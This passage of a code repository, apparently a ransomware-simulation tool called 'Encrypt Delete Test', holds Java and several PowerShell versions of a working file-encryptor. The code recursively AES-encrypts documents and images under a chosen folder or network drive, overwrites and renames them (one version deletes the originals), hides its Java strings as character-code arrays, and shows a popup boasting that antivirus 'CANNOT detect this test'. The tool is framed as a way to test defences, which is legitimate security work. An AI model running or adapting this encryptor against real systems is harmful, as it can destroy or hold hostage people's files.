| out.write(NumtoString(CharNum)+"\n"); 129 | CharNum = new int[]{60,98,111,100,121,32,98,103,99,111,108,111,114,61,114,101,100,62}; 130 | out.write(NumtoString(CharNum)+"\n"); 131 | CharNum = new int[]{60,102,111,110,116,32,115,105,122,101,61,43,49,48,32,99,111,108,111,114,61,119,104,105,116,101,62,60,98,62,91,69,110,99,114,121,112,116,68,101,108,84,101,115,116,118,52,46,49,32,40,74,97,118,97,41,93,60,47,98,62,60,47,102,111,110,116,62,60,98,114,62,60,98,114,62,60,98,114,62,60,98,114,62}; 132 | out.write(NumtoString(CharNum)+"\n"); 133 | CharNum = new int[]{60,102,111,110,116,32,115,105,122,101,61,43,49,48,32,99,111,108,111,114,61,119,104,105,116,101,62,84,104,97,110,107,115,32,102,111,114,32,121,111,117,114,32,116,101,115,116,33,60,47,102,111,110,116,62,60,98,114,62,60,98,114,62}; 134 | out.write(NumtoString(CharNum)+"\n"); 135 | CharNum = new int[]{60,102,111,110,116,32,115,105,122,101,61,43,49,48,32,99,111,108,111,114,61,119,104,105,116,101,62,89,111,117,114,32,97,110,116,105,45,118,105,114,117,115,32,115,111,102,116,119,97,114,101,32,60,117,62,67,65,78,78,79,84,60,47,117,62,32,100,101,116,101,99,116,32,116,104,105,115,32,116,101,115,116,60,47,102,111,110,116,62,60,98,114,62,60,98,114,62}; 136 | out.write(NumtoString(CharNum)+"\n"); 137 | out.write("
\n"); 138 | out.write("
\n"); 139 | CharNum = new int[]{60,98,114,62,69,110,99,114,121,112,116,105,111,110,32,75,101,121,58,32}; 140 | out.write(NumtoString(CharNum) + password + "\n"); 141 | CharNum = new int[]{60,98,114,62,69,110,99,114,121,112,116,101,100,32,70,105,108,101,58,32}; 142 | out.write(NumtoString(CharNum) + encryptedcount + "\n"); 143 | out.write("
" + sdf.format(today) + "\n"); 144 | out.write("
\n"); 145 | CharNum = new int[]{60,47,98,111,100,121,62}; 146 | out.write(NumtoString(CharNum)+"\n"); 147 | CharNum = new int[]{60,47,104,116,109,108,62}; 148 | out.write(NumtoString(CharNum)+"\n"); 149 | out.close(); 150 | } 151 | catch (IOException e) { 152 | } 153 | 154 | textarea.append("\n"); 155 | if (encryptedcount > 0){ 156 | java.awt.Desktop desktop = java.awt.Desktop.getDesktop(); 157 | if( desktop.isSupported( java.awt.Desktop.Action.BROWSE ) ) { 158 | try { 159 | java.net.URI uri = new java.net.URI("popup.html"); 160 | desktop.browse( uri ); 161 | } 162 | catch ( Exception e ) { 163 | System.err.println( e.getMessage() ); 164 | } 165 | } 166 | int CharNum[] = {69,110,99,114,121,112,116,105,111,110,32,75,101,121,58,32}; 167 | textarea.append(NumtoString(CharNum) + password + "\n"); 168 | CharNum = new int[]{69,110,99,114,121,112,116,101,100,32,70,105,108,101,58,32}; 169 | textarea.append(NumtoString(CharNum) + encryptedcount + "\n"); 170 | textarea.setForeground(Color.RED); 171 | CharNum = new int[]{79,112,101,114,97,116,105,111,110,32,99,111,109,112,108,101,116,101,100,33}; 172 | textarea.append("\n"); 173 | textarea.append(NumtoString(CharNum) + "\n"); 174 | } else { 175 | int CharNum[] = {78,111,32,102,105,108,101,32,105,115,32,102,111,117,110,100,32,111,114,32,101,110,99,114,121,112,116,101,100}; 176 | textarea.append(NumtoString(CharNum) + "\n"); 177 | } 178 | textarea.setCaretPosition(textarea.getDocument().getLength()); 179 | JFrame f; 180 | f=new JFrame(); 181 | if (encryptedcount > 0){ 182 | int CharNum[] = {79,112,101,114,97,116,105,111,110,32,99,111,109,112,108,101,116,101,100,33}; 183 | JOptionPane.showMessageDialog(f,NumtoString(CharNum),"[Encrypt Delete Test v4.1]",JOptionPane.ERROR_MESSAGE); 184 | } 185 | } else if (option.equals(strDecrypt)){ 186 | int CharNum[] = {79,112,101,114,97,116,105,111,110,32,99,111,109,112,108,101,116,101,100,33}; 187 | textarea.append(NumtoString(CharNum) + "\n"); 188 | JFrame f; 189 | f=new JFrame(); 190 | JOptionPane.showMessageDialog(f,NumtoString(CharNum),"[Encrypt Delete Test v4.1]",JOptionPane.ERROR_MESSAGE); 191 | } 192 | } 193 | } 194 | 195 | public static void traverseDirectory(File dir) { 196 | try { 197 | File[] files = dir.listFiles(); 198 | for (File file: files) { 199 | if (file.isDirectory()) { 200 | traverseDirectory(file); 201 | } else { 202 | if (option.equals(strEncrypt)){ 203 | if (file.getCanonicalPath().toLowerCase().endsWith(".doc") || file.getCanonicalPath().toLowerCase().endsWith(".docx") || file.getCanonicalPath().toLowerCase().endsWith(".xls") || file.getCanonicalPath().toLowerCase().endsWith(".xlsx") || file.getCanonicalPath().toLowerCase().endsWith(".txt") || file.getCanonicalPath().toLowerCase().endsWith(".rtf") || file.getCanonicalPath().toLowerCase().endsWith(".pdf") || file.getCanonicalPath().toLowerCase().endsWith(".jpg") || file.getCanonicalPath().toLowerCase().endsWith(".jpeg") || file.getCanonicalPath().toLowerCase().endsWith(".gif") || file.getCanonicalPath().toLowerCase().endsWith(".bmp") || file.getCanonicalPath().toLowerCase().endsWith(".png")){ 204 | cryptOperation(file.getCanonicalPath()); 205 | } 206 | }else{ 207 | if (file.getCanonicalPath().toLowerCase().endsWith(".gg")){ 208 | cryptOperation(file.getCanonicalPath()); 209 | } 210 | } 211 | } 212 | } 213 | } catch (IOException e) { 214 | e.printStackTrace(); 215 | } 216 | } 217 | 218 | public static String NumtoString(int[] NumArray){ 219 | String str = ""; 220 | for (int i: NumArray) { 221 | str += Character.toString((char) i); 222 | } 223 | return str; 224 | } 225 | 226 | public static void cryptOperation(String filename) { 227 | try { 228 | if (option.equals(strEncrypt)) { 229 | int CharNum[] = {103,103}; 230 | String outputfile = filename + "." + NumtoString(CharNum); 231 | textarea.append("Encrypt and overwrite to " + filename + "\n"); 232 | 233 | Path path = Paths.get(filename); 234 | byte[] fileBytes = Files.readAllBytes(path); 235 | byte[] resultBytes = null; 236 | resultBytes = encryptData(password, fileBytes); 237 | 238 | File writefile = new File(filename); 239 | try (FileOutputStream outputStream = new FileOutputStream(writefile)) { 240 | outputStream.write(resultBytes); 241 | } 242 | 243 | textarea.append("Rename to " + outputfile + "\n"); 244 | File file = new File(filename); 245 | Path pathoutputile = Paths.get(outputfile); 246 | Path pathinputile = Paths.get(filename); 247 | Files.move(pathinputile, pathoutputile); 248 | File f = new File(outputfile); 249 | if (f.exists() && f.isFile()) { 250 | encryptedcount = encryptedcount + 1; 251 | } 252 | textarea.append("\n"); 253 | 254 | } else if (option.equals(strDecrypt)) { 255 | String outputfile = filename.replaceAll(".gg$",""); 256 | textarea.append("Decrypt to " + outputfile + "\n"); 257 | 258 | Path path = Paths.get(filename); 259 | byte[] fileBytes = Files.readAllBytes(path); 260 | byte[] resultBytes = null; 261 | resultBytes = decryptData(password, fileBytes); 262 | 263 | File writefile = new File(outputfile); 264 | try (FileOutputStream outputStream = new FileOutputStream(writefile)) { 265 | outputStream.write(resultBytes); 266 | } 267 | textarea.append("\n"); 268 | } 269 | } catch (NoSuchPaddingException | NoSuchAlgorithmException | InvalidAlgorithmParameterException | InvalidKeyException | BadPaddingException | IllegalBlockSizeException | InvalidKeySpecException | IOException e) { 270 | e.printStackTrace(); 271 | } 272 | } 273 | 274 | public static byte [] encryptData(String key, byte [] data) throws NoSuchPaddingException, 275 | NoSuchAlgorithmException, 276 | InvalidAlgorithmParameterException, 277 | InvalidKeyException, 278 | BadPaddingException, 279 | IllegalBlockSizeException, InvalidKeySpecException { 280 | 281 | SecureRandom secureRandom = new SecureRandom(); 282 | byte[] iv = new byte[12]; 283 | secureRandom.nextBytes(iv); 284 | SecretKey secretKey = generateSecretKey(key, iv); 285 | Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding"); 286 | GCMParameterSpec parameterSpec = new GCMParameterSpec(128, iv); 287 | cipher.init(Cipher.ENCRYPT_MODE, secretKey, parameterSpec); 288 | byte [] encryptedData = cipher.doFinal(data); 289 | ByteBuffer byteBuffer = ByteBuffer.allocate(4 + iv.length + encryptedData.length); 290 | byteBuffer.putInt(iv.length); 291 | byteBuffer.put(iv); 292 | byteBuffer.put(encryptedData); 293 | return byteBuffer.array(); 294 | } 295 | 296 | public static byte [] decryptData(String key, byte [] encryptedData) 297 | throws NoSuchPaddingException, 298 | NoSuchAlgorithmException, 299 | InvalidAlgorithmParameterException, 300 | InvalidKeyException, 301 | BadPaddingException, 302 | IllegalBlockSizeException, 303 | InvalidKeySpecException { 304 | 305 | ByteBuffer byteBuffer = ByteBuffer.wrap(encryptedData); 306 | int noonceSize = byteBuffer.getInt(); 307 | if(noonceSize < 12 || noonceSize >= 16) { 308 | throw new IllegalArgumentException("Nonce size is incorrect."); 309 | } 310 | byte[] iv = new byte[noonceSize]; 311 | byteBuffer.get(iv); 312 | SecretKey secretKey = generateSecretKey(key, iv); 313 | byte[] cipherBytes = new byte[byteBuffer.remaining()]; 314 | byteBuffer.get(cipherBytes); 315 | Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding"); 316 | GCMParameterSpec parameterSpec = new GCMParameterSpec(128, iv); 317 | cipher.init(Cipher.DECRYPT_MODE, secretKey, parameterSpec); 318 | return cipher.doFinal(cipherBytes); 319 | } 320 | 321 | public static SecretKey generateSecretKey(String password, byte [] iv) throws NoSuchAlgorithmException, InvalidKeySpecException { 322 | KeySpec spec = new PBEKeySpec(password.toCharArray(), iv, 65536, 128); // AES-128 323 | SecretKeyFactory secretKeyFactory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1"); 324 | byte[] key = secretKeyFactory.generateSecret(spec).getEncoded(); 325 | return new SecretKeySpec(key, "AES"); 326 | } 327 | 328 | @Override 329 | public void actionPerformed(ActionEvent e){ 330 | if ( strEncrypt.equals(cb.getSelectedItem().toString()) || strDecrypt.equals(cb.getSelectedItem().toString())) { 331 | option = cb.getSelectedItem().toString(); 332 | goProcess(); 333 | } else { 334 | JOptionPane.showMessageDialog(this, "Please select option","[Encrypt Delete Test v4.1]", JOptionPane.ERROR_MESSAGE); 335 | } 336 | } 337 | 338 | } 339 | -------------------------------------------------------------------------------- /Source/PowerShell/EncryptDelTest.ps1.210828: -------------------------------------------------------------------------------- 1 | $global:processedfile=0; 2 | $Key = 'enctest@123' 3 | $shaManaged = New-Object System.Security.Cryptography.SHA256Managed 4 | $aesManaged = New-Object System.Security.Cryptography.AesManaged 5 | $aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC 6 | $aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros 7 | $aesManaged.BlockSize = 128 8 | $aesManaged.KeySize = 256 9 | $aesManaged.Key = $shaManaged.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Key)) 10 | $encryptor = $aesManaged.CreateEncryptor() 11 | 12 | Function EncryptDel($File){ 13 | $plainBytes = [System.IO.File]::ReadAllBytes($File) 14 | $outPath = $File + ".encrypted" 15 | 16 | $encryptedBytes = $encryptor.TransformFinalBlock($plainBytes, 0, $plainBytes.Length) 17 | $encryptedBytes = $aesManaged.IV + $encryptedBytes 18 | 19 | [System.IO.File]::WriteAllBytes($outPath, $encryptedBytes) 20 | $global:processedfile += 1 21 | Write-Host "Encrypt to $outPath" 22 | Remove-Item $File 23 | Write-Host "Delete $File" 24 | if ([System.IO.File]::Exists($File)) { 25 | Write-Host $File 'is exist' 26 | }Else{ 27 | Write-Host $File 'is not exist' 28 | } 29 | Write-Host 30 | } 31 | 32 | Function Banner{ 33 | "" | Out-File -FilePath popup.html 34 | "" | Out-File -FilePath popup.html -Append 35 | "EncryptDelTestv3" | Out-File -FilePath popup.html -Append 36 | "" | Out-File -FilePath popup.html -Append 37 | "[EncryptDelTestv3]



" | Out-File -FilePath popup.html -Append 38 | "Your anti-virus software CANNOT detect this test

" | Out-File -FilePath popup.html -Append 39 | "
" | Out-File -FilePath popup.html -Append 40 | "
" | Out-File -FilePath popup.html -Append 41 | "
Encryption Key: " + $Key | Out-File -FilePath popup.html -Append 42 | "
Encrypted File: " + $global:processedfile | Out-File -FilePath popup.html -Append 43 | "
Path: " + $FolderBrowserDialog.SelectedPath | Out-File -FilePath popup.html -Append 44 | "
" + (Get-Date).ToString('MM/dd/yyyy hh:mm:ss tt') | Out-File -FilePath popup.html -Append 45 | "
" | Out-File -FilePath popup.html -Append 46 | "
" | Out-File -FilePath popup.html -Append 47 | "" | Out-File -FilePath popup.html -Append 48 | "" | Out-File -FilePath popup.html -Append 49 | Invoke-Expression .\popup.html 50 | Write-Host "" 51 | Write-Host "Encryption Key: " $Key 52 | Write-Host "Encrypted File: " $global:processedfile 53 | Write-Host "Your anti-virus software CANNOT detect this test" 54 | } 55 | 56 | Add-Type -AssemblyName System.Windows.Forms 57 | Add-Type -AssemblyName System.Drawing 58 | 59 | $objForm = New-Object System.Windows.Forms.Form 60 | $objForm.AutoSize = $True 61 | $objForm.Text = "[Encrypt Delete Test v3]" 62 | $objForm.StartPosition = "CenterScreen" 63 | 64 | $objLabel = New-Object System.Windows.Forms.label 65 | $objLabel.Text = "[Encrypt Delete Test v3] 66 | Simulate ransomware encryption operation 67 | By Eddie Chu eddiechu.android@gmail.com 68 | Please download the original and latest version from github.com/eddiechu/Encrypt-Delete-Test 69 | Version v3.0.4 (14/Aug/2021)`r`n 70 | This tool encrypt the file under selected folder and it's subfolder(s))`r`n 71 | [Caution] 72 | You use this tool completely at your own risk. 73 | " 74 | $objLabel.AutoSize = $True 75 | $objForm.Controls.Add($objLabel) 76 | 77 | Write-Host $objLabel.Text 78 | 79 | $objCombobox=New-Object System.Windows.Forms.combobox 80 | $objCombobox.Text = "Please select" 81 | $objCombobox.Items.add("Confirm") 82 | $objCombobox.Top = ($objLabel.Height + 10) 83 | $objForm.Controls.Add($objCombobox) 84 | 85 | $button_click= 86 | { 87 | if ($objCombobox.SelectedItem -eq "confirm"){ 88 | Write-Host 'confirm' 89 | $FolderBrowserDialog = New-Object System.Windows.Forms.FolderBrowserDialog 90 | $FolderBrowserDialog.SelectedPath = (Get-Location).path 91 | [void] $FolderBrowserDialog.ShowDialog() 92 | Write-Host $FolderBrowserDialog.SelectedPath 93 | Write-Host 94 | Get-ChildItem $FolderBrowserDialog.SelectedPath -Recurse -Attributes !Directory | % {EncryptDel $_.FullName} 95 | Banner 96 | } 97 | Else{ 98 | [System.Windows.Forms.MessageBox]::Show('Please select confirm',"[Encrypt Delete Test v3]",[System.Windows.Forms.MessageBoxButtons]::OK,[System.Windows.Forms.MessageBoxIcon]::Warning) 99 | } 100 | } 101 | 102 | $objButton = New-Object System.Windows.Forms.Button 103 | $objButton.Top = ($objLabel.Height + 50) 104 | $objButton.Text = "Choose a folder or network drive to process the test" 105 | $objButton.AutoSize = $True 106 | $objButton.Add_Click($button_click) 107 | $objForm.Controls.Add($objButton) 108 | 109 | $objForm.ShowDialog() 110 | 111 | $aesManaged.Dispose() 112 | $shaManaged.Dispose() 113 | -------------------------------------------------------------------------------- /Source/PowerShell/EncryptDelTestv4.1.ps1.220911: -------------------------------------------------------------------------------- 1 | $global:processedfile=0; 2 | $Key = 'enctest@123' 3 | $shaManaged = New-Object System.Security.Cryptography.SHA256Managed 4 | $aesManaged = New-Object System.Security.Cryptography.AesManaged 5 | $aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC 6 | $aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros 7 | $aesManaged.BlockSize = 128 8 | $aesManaged.KeySize = 256 9 | $aesManaged.Key = $shaManaged.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Key)) 10 | #$aesManaged.Key = $Key 11 | $encryptor = $aesManaged.CreateEncryptor() 12 | 13 | Function EncryptFile($File){ 14 | $plainBytes = [System.IO.File]::ReadAllBytes($File) 15 | $outPath = $File + ".gg" 16 | 17 | $encryptedBytes = $encryptor.TransformFinalBlock($plainBytes, 0, $plainBytes.Length) 18 | $encryptedBytes = $aesManaged.IV + $encryptedBytes 19 | 20 | [System.IO.File]::WriteAllBytes($File, $encryptedBytes) 21 | Write-Host "Encrypt and overwrite to $File" 22 | Rename-Item $File $outPath 23 | Write-Host "Rename to $outPath" 24 | Write-Host 25 | if ([System.IO.File]::Exists($outPath)) { 26 | $global:processedfile += 1 27 | } 28 | 29 | } 30 | 31 | Function DecryptFile($File){ 32 | $cipherBytes = [System.IO.File]::ReadAllBytes($File) 33 | $outPath = $File -replace ".gg" 34 | 35 | $aesManaged.IV = $cipherBytes[0..15] 36 | $decryptor = $aesManaged.CreateDecryptor() 37 | $decryptedBytes = $decryptor.TransformFinalBlock($cipherBytes, 16, $cipherBytes.Length - 16) 38 | 39 | [System.IO.File]::WriteAllBytes($outPath, $decryptedBytes) 40 | Write-Host "Decrypt to $outPath" 41 | Write-Host 42 | } 43 | 44 | Function Banner{ 45 | "" | Out-File -FilePath popup.html 46 | "" | Out-File -FilePath popup.html -Append 47 | "EncryptDelTestv4.1" | Out-File -FilePath popup.html -Append 48 | "" | Out-File -FilePath popup.html -Append 49 | "[EncryptDelTestv4.1]



" | Out-File -FilePath popup.html -Append 50 | "Your anti-virus software CANNOT detect this test

" | Out-File -FilePath popup.html -Append 51 | "
" | Out-File -FilePath popup.html -Append 52 | "
" | Out-File -FilePath popup.html -Append 53 | "
Encryption Key: " + $Key | Out-File -FilePath popup.html -Append 54 | "
Encrypted File: " + $global:processedfile | Out-File -FilePath popup.html -Append 55 | "
Path: " + $FolderBrowserDialog.SelectedPath | Out-File -FilePath popup.html -Append 56 | "
" + (Get-Date).ToString('MM/dd/yyyy hh:mm:ss tt') | Out-File -FilePath popup.html -Append 57 | "
" | Out-File -FilePath popup.html -Append 58 | "
" | Out-File -FilePath popup.html -Append 59 | "" | Out-File -FilePath popup.html -Append 60 | "" | Out-File -FilePath popup.html -Append 61 | Invoke-Expression .\popup.html 62 | Write-Host "" 63 | Write-Host "Encryption Key: " $Key 64 | Write-Host "Encrypted File: " $global:processedfile 65 | Write-Host "" 66 | Write-Host "Operation completed!" 67 | } 68 | 69 | Add-Type -AssemblyName System.Windows.Forms 70 | Add-Type -AssemblyName System.Drawing 71 | 72 | $objForm = New-Object System.Windows.Forms.Form 73 | $objForm.AutoSize = $True 74 | $objForm.Text = "[Encrypt Delete Test v4.1]" 75 | $objForm.StartPosition = "CenterScreen" 76 | 77 | $objLabel = New-Object System.Windows.Forms.label 78 | $objLabel.Text = "[Encrypt Delete Test v4.1] 79 | Simulate ransomware encryption operation 80 | By Eddie Chu eddiechu.android@gmail.com 81 | Please download the original and latest version from https://github.com/eddiechu/Encrypt-Delete-Test 82 | Version v4.1 (11/Sep/2022)`r`n 83 | This tool encrypts - overwrites - renames the file under selected folder and it's subfolder(s))`r`n 84 | [Caution] 85 | You use this tool completely at your own risk. 86 | " 87 | $objLabel.AutoSize = $True 88 | $objForm.Controls.Add($objLabel) 89 | 90 | Write-Host $objLabel.Text 91 | 92 | $objCombobox=New-Object System.Windows.Forms.combobox 93 | $objCombobox.Text = "Please select" 94 | $objCombobox.Items.add("Encrypt") 95 | $objCombobox.Items.add("Decrypt") 96 | $objCombobox.Top = ($objLabel.Height + 10) 97 | $objForm.Controls.Add($objCombobox) 98 | 99 | $button_click= 100 | { 101 | if ($objCombobox.SelectedItem -eq "Encrypt"){ 102 | Write-Host 'encrypt' 103 | $FolderBrowserDialog = New-Object System.Windows.Forms.FolderBrowserDialog 104 | $FolderBrowserDialog.SelectedPath = (Get-Location).path 105 | If ($FolderBrowserDialog.ShowDialog() -eq [System.Windows.Forms.DialogResult]::OK){ 106 | Write-Host $FolderBrowserDialog.SelectedPath 107 | Write-Host 108 | Get-ChildItem $FolderBrowserDialog.SelectedPath -Recurse -Attributes !Directory -Include *.doc,*.docx,*.xls,*.xlsx,*.txt,*.rtf,*.pdf,*.jpg,*.jpeg,*.gif,*.bmp,*.png | % {EncryptFile $_.FullName} 109 | Banner 110 | } 111 | } 112 | elseif ($objCombobox.SelectedItem -eq "Decrypt"){ 113 | Write-Host 'decrypt' 114 | $FolderBrowserDialog = New-Object System.Windows.Forms.FolderBrowserDialog 115 | $FolderBrowserDialog.SelectedPath = (Get-Location).path 116 | If ($FolderBrowserDialog.ShowDialog() -eq [System.Windows.Forms.DialogResult]::OK){ 117 | Write-Host $FolderBrowserDialog.SelectedPath 118 | Write-Host 119 | Get-ChildItem $FolderBrowserDialog.SelectedPath -Recurse -Attributes !Directory -Include *.gg | % {DecryptFile $_.FullName} 120 | Write-Host "Operation completed!" 121 | } 122 | } 123 | Else{ 124 | [System.Windows.Forms.MessageBox]::Show('Please select option',"[Encrypt Delete Test v4.1]",[System.Windows.Forms.MessageBoxButtons]::OK,[System.Windows.Forms.MessageBoxIcon]::Warning) 125 | } 126 | } 127 | 128 | $objButton = New-Object System.Windows.Forms.Button 129 | $objButton.Top = ($objLabel.Height + 50) 130 | $objButton.Text = "Choose a folder or network drive to process the test" 131 | $objButton.AutoSize = $True 132 | $objButton.Add_Click($button_click) 133 | $objForm.Controls.Add($objButton) 134 | 135 | $objForm.ShowDialog() 136 | 137 | $aesManaged.Dispose() 138 | $shaManaged.Dispose() 139 | -------------------------------------------------------------------------------- /Source/PowerShell/EncryptDelTestv4.ps1: -------------------------------------------------------------------------------- 1 | $global:processedfile=0; 2 | $Key = 'enctest@123' 3 | $shaManaged = New-Object System.Security.Cryptography.SHA256Managed 4 | $aesManaged = New-Object System.Security.Cryptography.AesManaged 5 | $aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC 6 | $aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros 7 | $aesManaged.BlockSize = 128 8 | $aesManaged.KeySize = 256 9 | $aesManaged.Key = $shaManaged.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Key)) 10 | #$aesManaged.Key = $Key 11 | $encryptor = $aesManaged.CreateEncryptor() 12 | 13 | Function EncryptFile($File){ 14 | $plainBytes = [System.IO.File]::ReadAllBytes($File) 15 | $outPath = $File + ".gg" 16 | 17 | $encryptedBytes = $encryptor.TransformFinalBlock($plainBytes, 0, $plainBytes.Length) 18 | $encryptedBytes = $aesManaged.IV + $encryptedBytes 19 | 20 | [System.IO.File]::WriteAllBytes($File, $encryptedBytes) 21 | Write-Host "Encrypt and overwrite to $File" 22 | Rename-Item $File $outPath 23 | Write-Host "Rename to $outPath" 24 | Write-Host 25 | if ([System.IO.File]::Exists($outPath)) { 26 | $global:processedfile += 1 27 | } 28 | 29 | } 30 | 31 | Function DecryptFile($File){ 32 | $cipherBytes = [System.IO.File]::ReadAllBytes($File) 33 | $outPath = $File -replace ".gg" 34 | 35 | $aesManaged.IV = $cipherBytes[0..15] 36 | $decryptor = $aesManaged.CreateDecryptor() 37 | $decryptedBytes = $decryptor.TransformFinalBlock($cipherBytes, 16, $cipherBytes.Length - 16) 38 | 39 | [System.IO.File]::WriteAllBytes($outPath, $decryptedBytes) 40 | Write-Host "Decrypt to $outPath" 41 | Write-Host 42 | } 43 | 44 | Function Banner{ 45 | "" | Out-File -FilePath popup.html 46 | "" | Out-File -FilePath popup.html -Append 47 | "EncryptDelTestv4.1" | Out-File -FilePath popup.html -Append 48 | "" | Out-File -FilePath popup.html -Append 49 | "[EncryptDelTestv4.1]



" | Out-File -FilePath popup.html -Append 50 | "Your anti-virus software CANNOT detect this test

" | Out-File -FilePath popup.html -Append 51 | "
" | Out-File -FilePath popup.html -Append 52 | "
" | Out-File -FilePath popup.html -Append 53 | "
Encryption Key: " + $Key | Out-File -FilePath popup.html -Append 54 | "
Encrypted File: " + $global:processedfile | Out-File -FilePath popup.html -Append 55 | "
Path: " + $FolderBrowserDialog.SelectedPath | Out-File -FilePath popup.html -Append 56 | "
" + (Get-Date).ToString('MM/dd/yyyy hh:mm:ss tt') | Out-File -FilePath popup.html -Append 57 | "
" | Out-File -FilePath popup.html -Append 58 | "
" | Out-File -FilePath popup.html -Append 59 | "" | Out-File -FilePath popup.html -Append 60 | "" | Out-File -FilePath popup.html -Append 61 | Invoke-Expression .\popup.html 62 | Write-Host "" 63 | Write-Host "Encryption Key: " $Key 64 | Write-Host "Encrypted File: " $global:processedfile 65 | Write-Host "" 66 | Write-Host "Operation completed!" 67 | } 68 | 69 | Add-Type -AssemblyName System.Windows.Forms 70 | Add-Type -AssemblyName System.Drawing 71 | 72 | $objForm = New-Object System.Windows.Forms.Form 73 | $objForm.AutoSize = $True 74 | $objForm.Text = "[Encrypt Delete Test v4.1]" 75 | $objForm.StartPosition = "CenterScreen" 76 | 77 | $objLabel = New-Object System.Windows.Forms.label 78 | $objLabel.Text = "[Encrypt Delete Test v4.1] 79 | Simulate ransomware encryption operation 80 | By Eddie Chu eddiechu.android@gmail.com 81 | Please download the original and latest version from https://github.com/eddiechu/Encrypt-Delete-Test 82 | Version v4.1 (11/Sep/2022)`r`n 83 | This tool encrypts - overwrites - renames the file under selected folder and it's subfolder(s))`r`n 84 | [Caution] 85 | You use this tool completely at your own risk. 86 | " 87 | $objLabel.AutoSize = $True 88 | $objForm.Controls.Add($objLabel) 89 | 90 | Write-Host $objLabel.Text 91 | 92 | $objCombobox=New-Object System.Windows.Forms.combobox 93 | $objCombobox.Text = "Please select" 94 | $objCombobox.Items.add("Encrypt") 95 | $objCombobox.Items.add("Decrypt") 96 | $objCombobox.Top = ($objLabel.Height + 10) 97 | $objForm.Controls.Add($objCombobox) 98 | 99 | $button_click= 100 | { 101 | if ($objCombobox.SelectedItem -eq "Encrypt"){ 102 | Write-Host 'encrypt' 103 | $FolderBrowserDialog = New-Object System.Windows.Forms.FolderBrowserDialog 104 | $FolderBrowserDialog.SelectedPath = (Get-Location).path 105 | If ($FolderBrowserDialog.ShowDialog() -eq [System.Windows.Forms.DialogResult]::OK){ 106 | Write-Host $FolderBrowserDialog.SelectedPath 107 | Write-Host 108 | Get-ChildItem $FolderBrowserDialog.SelectedPath -Recurse -Attributes !Directory -Include *.doc,*.docx,*.xls,*.xlsx,*.txt,*.rtf,*.pdf,*.jpg,*.jpeg,*.gif,*.bmp,*.png | % {EncryptFile $_.FullName} 109 | Banner 110 | } 111 | } 112 | elseif ($objCombobox.SelectedItem -eq "Decrypt"){ 113 | Write-Host 'decrypt' 114 | $FolderBrowserDialog = New-Object System.Windows.Forms.FolderBrowserDialog 115 | $FolderBrowserDialog.SelectedPath = (Get-Location).path 116 | If ($FolderBrowserDialog.ShowDialog() -eq [System.Windows.Forms.DialogResult]::OK){ 117 | Write-Host $FolderBrowserDialog.SelectedPath 118 | Write-Host 119 | Get-ChildItem $FolderBrowserDialog.SelectedPath -Recurse -Attributes !Directory -Include *.gg | % {DecryptFile $_.FullName} 120 | Write-Host "Operation completed!" 121 | } 122 | } 123 | Else{ 124 | [System.Windows.Forms.MessageBox]::Show('Please select option',"[Encrypt Delete Test v4.1]",[System.Windows.Forms.MessageBoxButtons]::OK,[System.Windows.Forms.MessageBoxIcon]::Warning) 125 | } 126 | } 127 | 128 | $objButton = New-Object System.Windows.Forms.Button 129 | $objButton.Top = ($objLabel.Height + 50) 130 | $objButton.Text = "Choose a folder or network drive to process the test" 131 | $objButton.AutoSize = $True 132 | $objButton.Add_Click($button_click) 133 | $objForm.Controls.Add($objButton) 134 | 135 | $objForm.ShowDialog() 136 | 137 | $aesManaged.Dispose() 138 | $shaManaged.Dispose() 139 | -------------------------------------------------------------------------------- /Source/PowerShell/EncryptDelTestv4.ps1.210923: -------------------------------------------------------------------------------- 1 | $global:processedfile=0; 2 | $Key = 'enctest@123' 3 | $shaManaged = New-Object System.Security.Cryptography.SHA256Managed 4 | $aesManaged = New-Object System.Security.Cryptography.AesManaged 5 | $aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC 6 | $aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros 7 | $aesManaged.BlockSize = 128 8 | $aesManaged.KeySize = 256 9 | $aesManaged.Key = $shaManaged.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Key)) 10 | #$aesManaged.Key = $Key 11 | $encryptor = $aesManaged.CreateEncryptor() 12 | 13 | Function EncryptFile($File){ 14 | $plainBytes = [System.IO.File]::ReadAllBytes($File) 15 | $outPath = $File + ".crypted" 16 | 17 | $encryptedBytes = $encryptor.TransformFinalBlock($plainBytes, 0, $plainBytes.Length) 18 | $encryptedBytes = $aesManaged.IV + $encryptedBytes 19 | 20 | [System.IO.File]::WriteAllBytes($File, $encryptedBytes) 21 | Write-Host "Encrypt and overwrite to $File" 22 | Rename-Item $File $outPath 23 | Write-Host "Rename to $outPath" 24 | Write-Host 25 | if ([System.IO.File]::Exists($outPath)) { 26 | $global:processedfile += 1 27 | } 28 | 29 | } 30 | 31 | Function DecryptFile($File){ 32 | $cipherBytes = [System.IO.File]::ReadAllBytes($File) 33 | $outPath = $File -replace ".crypted" 34 | 35 | $aesManaged.IV = $cipherBytes[0..15] 36 | $decryptor = $aesManaged.CreateDecryptor() 37 | $decryptedBytes = $decryptor.TransformFinalBlock($cipherBytes, 16, $cipherBytes.Length - 16) 38 | 39 | [System.IO.File]::WriteAllBytes($outPath, $decryptedBytes) 40 | Write-Host "Decrypt to $outPath" 41 | Write-Host 42 | } 43 | 44 | Function Banner{ 45 | "" | Out-File -FilePath popup.html 46 | "" | Out-File -FilePath popup.html -Append 47 | "EncryptDelTestv4" | Out-File -FilePath popup.html -Append 48 | "" | Out-File -FilePath popup.html -Append 49 | "[EncryptDelTestv4]



" | Out-File -FilePath popup.html -Append 50 | "Your anti-virus software CANNOT detect this test

" | Out-File -FilePath popup.html -Append 51 | "
" | Out-File -FilePath popup.html -Append 52 | "
" | Out-File -FilePath popup.html -Append 53 | "
Encryption Key: " + $Key | Out-File -FilePath popup.html -Append 54 | "
Encrypted File: " + $global:processedfile | Out-File -FilePath popup.html -Append 55 | "
